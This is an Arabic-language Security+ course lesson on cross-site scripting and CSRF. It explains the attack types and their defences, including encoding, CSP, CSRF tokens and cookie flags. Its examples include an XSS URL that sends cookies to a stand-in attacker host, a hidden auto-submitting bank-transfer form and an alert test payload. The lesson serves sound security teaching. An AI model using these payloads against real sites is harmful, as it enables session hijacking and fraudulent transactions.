0Pricing
Security+ Academy · درس

البرمجة النصية عبر المواقع (XSS) وCSRF

افهم XSS المنعكس والمخزّن والقائم على DOM، إلى جانب هجمات تزوير الطلبات عبر المواقع، ودفاعات المتصفح التي تمنعها.

البرمجة النصية عبر المواقع (XSS) وCSRF درس مجاني في Security+ Academy على CoddyKit. هذا هو الدرس 2 من أصل 4. يمكنك قراءة الدرس كاملاً أدناه مجاناً — ثم تمرن عليه مباشرة في المتصفح باستخدام محرر أكواد مدمج ومدرس ذكاء اصطناعي متاح 24/7. هذا الدرس جزء من مسار التعلم في Security+ Academy، وتقدمك يتزامن عبر الويب وتطبيق CoddyKit. تتضمن دورة Security+ Academy 4 دروس في المجموع.

ما المقصود بالبرمجة النصية عبر المواقع؟

البرمجة النصية عبر المواقع (XSS) هي ثغرة حقن من جانب العميل، يحقن فيها المهاجم نصوصًا برمجية ضارة داخل صفحات ويب يشاهدها مستخدمون آخرون. وعلى خلاف حقن SQL الذي يستهدف الخادم، تستهدف XSS متصفح الضحية. وعندما يعرض المتصفح نص المهاجم البرمجي، فإنه ينفذه بالامتيازات نفسها التي تتمتع بها نصوص الصفحة الشرعية، مما يتيح اختطاف الجلسات، وسرقة بيانات الاعتماد، وتوصيل البرمجيات الضارة.

شرح XSS المنعكسة

تحدث XSS المنعكسة عندما يُضمَّن نص برمجي ضار في عنوان URL، ثم يعيده الخادم فورًا في استجابة HTTP من دون ترميز مناسب. يُخدع الضحية (غالبًا عبر رابط تصيد احتيالي) للنقر على عنوان URL مُعدّ خصيصًا، مما يؤدي إلى تنفيذ متصفحه لنص المهاجم البرمجي. وتُعد XSS المنعكسة غير مستمرة، إذ لا تُنفَّذ إلا عندما ينقر الضحية على الرابط الضار.

# Malicious URL with reflected XSS payload
https://example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

# Server reflects the query param unsanitized into the HTML:
# <p>Results for: <script>...</script></p>

XSS المخزنة وXSS المعتمدة على DOM

تُضمّن XSS المخزنة (المستمرة) نصًا برمجيًا ضارًا في قاعدة بيانات التطبيق، مثل تعليق أو منشور في منتدى. وكل مستخدم يشاهد ذلك المحتوى يُنفَّذ النص البرمجي في متصفحه، مما يجعل XSS المخزنة أخطر بكثير من XSS المنعكسة. تحدث XSS المعتمدة على DOM بالكامل في المتصفح عندما تقرأ JavaScript من جانب العميل بيانات يتحكم فيها المهاجم من DOM (مثل جزء عنوان URL) ثم تكتبها مرة أخرى في الصفحة بطريقة غير آمنة.

وسائل الدفاع ضد XSS: الترميز وCSP

يتمثل خط الدفاع الأساسي ضد XSS في ترميز المخرجات: أي تحويل الأحرف الخاصة إلى مكافئاتها من كيانات HTML (&lt;، &gt;، &amp;) قبل عرضها في المتصفح. ويقيّد رأس سياسة أمان المحتوى (CSP) النصوص البرمجية التي يُسمح بتنفيذها، مما يوفر طبقة دفاع ثانوية مهمة. كما ينبغي تطبيق التحقق من المدخلات (باستخدام قائمة السماح) على جانب الخادم.

# HTTP header — Content Security Policy
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'

# Blocks inline scripts and restricts external script sources

ما المقصود بتزوير الطلبات عبر المواقع؟

يستغل تزوير الطلبات عبر المواقع (CSRF) الثقة التي يضعها موقع ويب في متصفح مستخدم موثَّق. إذ يخدع المهاجم متصفح الضحية لإرسال طلب موثَّق غير مرغوب فيه إلى موقع سجّل الضحية دخوله إليه. وبما أن المتصفح يرفق ملفات تعريف ارتباط الجلسة تلقائيًا، يعتقد الخادم المستهدف أن الطلب شرعي. وتشمل هجمات CSRF الشائعة تحويل الأموال، وتغيير عناوين البريد الإلكتروني، وتعديل إعدادات الحساب.

آلية عمل هجوم CSRF

افترض أن مستخدمًا سجّل دخوله إلى مصرفه عبر bank.com. يرسل إليه مهاجم رسالة بريد إلكتروني تحتوي على وسم صورة مخفي: <img src='https://bank.com/transfer?to=attacker&amount=1000'>. عند فتح الرسالة، يحمّل المتصفح عنوان URL للصورة تلقائيًا، فيرسل طلب التحويل مرفقًا بملف تعريف ارتباط جلسة الضحية المصرفية. فيعالج المصرف الطلب باعتباره شرعيًا.

<!-- Malicious hidden form on attacker's page -->
<form action='https://bank.com/transfer' method='POST' id='csrf'>
  <input type='hidden' name='to' value='attacker_account' />
  <input type='hidden' name='amount' value='5000' />
</form>
<script>document.getElementById('csrf').submit();</script>

وسائل الدفاع ضد CSRF: الرموز وSameSite

يتمثل الدفاع الأكثر فعالية ضد CSRF في رمز CSRF، وهو قيمة فريدة وغير قابلة للتنبؤ تُضمَّن في كل نموذج ويجري التحقق منها على جانب الخادم. ولأن المهاجم لا يستطيع قراءة الرمز من أصل مختلف (بسبب سياسة المصدر نفسه)، تفتقر الطلبات المزورة إلى رمز صالح ويُرفض تنفيذها. كما تمنع سمة SameSite لملف تعريف الارتباط (SameSite=Strict أو Lax) المتصفحات من إرسال ملفات تعريف الارتباط في الطلبات بين المواقع.

# Set SameSite cookie attribute
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure; HttpOnly

# HTML hidden CSRF token in form
<input type='hidden' name='csrf_token' value='a8f3b2c7d1e4...' />

XSS مقابل CSRF: الفروقات الأساسية

غالبًا ما يُخلط بين XSS وCSRF، لكن كلًّا منهما يستهدف جهة مختلفة. إذ تحقن XSS نصًا برمجيًا ضارًا يُنفَّذ في متصفح الضحية، مستغلةً ثقة المستخدم في الموقع. أما CSRF فتزوّر طلبات من متصفح الضحية إلى موقع موثوق، مستغلةً ثقة الموقع في متصفح المستخدم. ويمكن استخدام XSS لسرقة رموز CSRF، مما يؤدي فعليًا إلى ربط الثغرتين في سلسلة واحدة.

علامتا HttpOnly وSecure لملفات تعريف الارتباط

توفر علامات ملفات تعريف الارتباط وسائل مهمة للتخفيف من هجمات XSS. تمنع علامة HttpOnly JavaScript من الوصول إلى ملف تعريف الارتباط عبر document.cookie، مما يجعل سرقة رمز الجلسة أصعب حتى عند وجود XSS. وتضمن علامة Secure نقل ملفات تعريف الارتباط عبر HTTPS فقط، فتمنع اعتراضها عبر القنوات غير المشفرة. وينبغي ضبط كلتا العلامتين لجميع ملفات تعريف ارتباط الجلسات كإجراء للدفاع متعدد الطبقات.

Set-Cookie: sessionid=xyz789; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600

اختبار ثغرات XSS

يحدد مختبرو الأمن ثغرات XSS من خلال حقن حمولات اختبار في كل حقل إدخال، ومعلمة URL، ورأس HTTP، وحقل JSON. ومن اختبارات الفحص البسيطة <script>alert(1)</script>؛ فإذا ظهرت نافذة تنبيه، فهذا يؤكد وجود XSS. تعمل أدوات مثل Burp Suite على أتمتة فحص XSS، بينما توفر OWASP ZAP فحصًا نشطًا مجانيًا. وتتطلب XSS المعتمدة على DOM تحليل JavaScript من جانب المتصفح بدلًا من فحص استجابة الخادم.

التأثير الواقعي لـ XSS

تسببت هجمات XSS في أضرار كبيرة على أرض الواقع. فقد انتشرت دودة Samy عام 2005 عبر MySpace خلال 20 ساعة، مستغلةً XSS المخزنة للانتشار الذاتي إلى أكثر من مليون ملف شخصي. ويمكن لهجمات XSS سرقة رموز الجلسات لاختطاف الحسابات بالكامل، وإعادة توجيه المستخدمين إلى مواقع التصيد الاحتيالي، وتوصيل برمجيات تستغل المتصفح (تنزيلات تلقائية)، وتعديل محتوى الصفحة لعرض معلومات زائفة على المستخدمين المستهدفين.

تحقق سريع

اختبر مدى فهمك لمفاهيم CompTIA Security+ (SY0-701) الواردة في هذا الدرس.

مراجعة الدرس

تعلمت في هذا الدرس أن: XSS تحقن نصوصًا برمجية في صفحات يشاهدها مستخدمون آخرون، وأن CSRF تخدع المتصفحات الموثَّقة لإرسال طلبات مزورة، وأن ترميز المخرجات، وCSP، ورموز CSRF، وسمة SameSite لملفات تعريف الارتباط هي وسائل الدفاع الأساسية. سننتقل بعد ذلك إلى استكشاف المصادقة المعطلة وإلغاء التسلسل غير الآمن.

الأسئلة الشائعة

هل درس «البرمجة النصية عبر المواقع (XSS) وCSRF» مجاني؟

نعم — نص درس «البرمجة النصية عبر المواقع (XSS) وCSRF» كامل متاح مجاناً هنا على الويب. لتمرينه بشكل تفاعلي (محرر أكواد مدمج ومدرس ذكاء اصطناعي متاح 24/7) وفتح باقي دورة Security+ Academy، انتقل إلى CoddyKit PRO. تتضمن دورة Security+ Academy 4 دروس في المجموع.

ماذا ستتعلم في «البرمجة النصية عبر المواقع (XSS) وCSRF»؟

افهم XSS المنعكس والمخزّن والقائم على DOM، إلى جانب هجمات تزوير الطلبات عبر المواقع، ودفاعات المتصفح التي تمنعها. تتمرن على Security+ Academy مع أكواد عملية تشغلها مباشرة في المتصفح، ومدرس ذكاء اصطناعي متاح 24/7 يجيب على أسئلتك أثناء عملك.

هل أحتاج إلى خبرة سابقة لأبدأ Security+ Academy؟

لا تُشترط خبرة سابقة. Security+ Academy على CoddyKit منظم للمبتدئين حتى المتقدمين، لذا يمكنك البدء من هنا أو من البداية والتقدم بسرعتك الخاصة. هذا هو الدرس 2 من أصل 4.

كم من الوقت يستغرق درس «البرمجة النصية عبر المواقع (XSS) وCSRF»؟

معظم دروس CoddyKit تستغرق حوالي 5–10 دقائق. كل منها موجز وتفاعلي، لذا تحرز تقدماً مستمراً وتستأنف من حيث توقفت عبر الويب والتطبيق.

هل يمكنني كتابة وتشغيل أكواد في درس Security+ Academy هذا؟

نعم. كل درس في Security+ Academy يتضمن محرر أكواد مدمج، لذا تكتب وتشغل أكواداً حقيقية مباشرة في متصفحك وتحصل على تعليقات فورية من الذكاء الاصطناعي — بدون إعداد محلي.

جميع الدروس في هذه الدورة

  1. حقن SQL وحقن الأوامر
  2. البرمجة النصية عبر المواقع (XSS) وCSRF
  3. المصادقة المعطّلة وإلغاء التسلسل غير الآمن
  4. دورة حياة تطوير البرمجيات الآمنة وأدوات SAST وDAST
← العودة إلى Security+ Academy